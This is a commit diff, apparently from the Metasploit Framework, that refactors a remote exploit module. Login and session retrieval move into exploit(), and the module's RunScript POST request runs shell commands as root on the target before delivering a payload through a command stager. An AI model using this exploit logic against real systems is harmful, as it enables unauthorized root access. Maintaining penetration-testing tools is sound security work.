Do not get a session on every execute_command call
parent
79ca123051
commit
6c2063c9c0
|
@ -128,14 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# The RunScript action will run shell commands directly with root privileges.
|
||||
def execute_command(cmd, opts)
|
||||
|
||||
admin_password = password
|
||||
if admin_password.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
|
||||
end
|
||||
|
||||
session = login(admin_password)
|
||||
|
||||
script_name = rand_text_alphanumeric(8)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -143,19 +135,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'vars_post' => {
|
||||
'Action' => "RunScript",
|
||||
'Section' => "Setup",
|
||||
'STk' => session,
|
||||
'STk' => @session,
|
||||
'ScriptName' => script_name,
|
||||
'Script' => cmd + '&'
|
||||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
if res and res.code != 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
admin_password = password
|
||||
if admin_password.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
|
||||
end
|
||||
|
||||
@session = login(admin_password)
|
||||
|
||||
execute_cmdstager
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue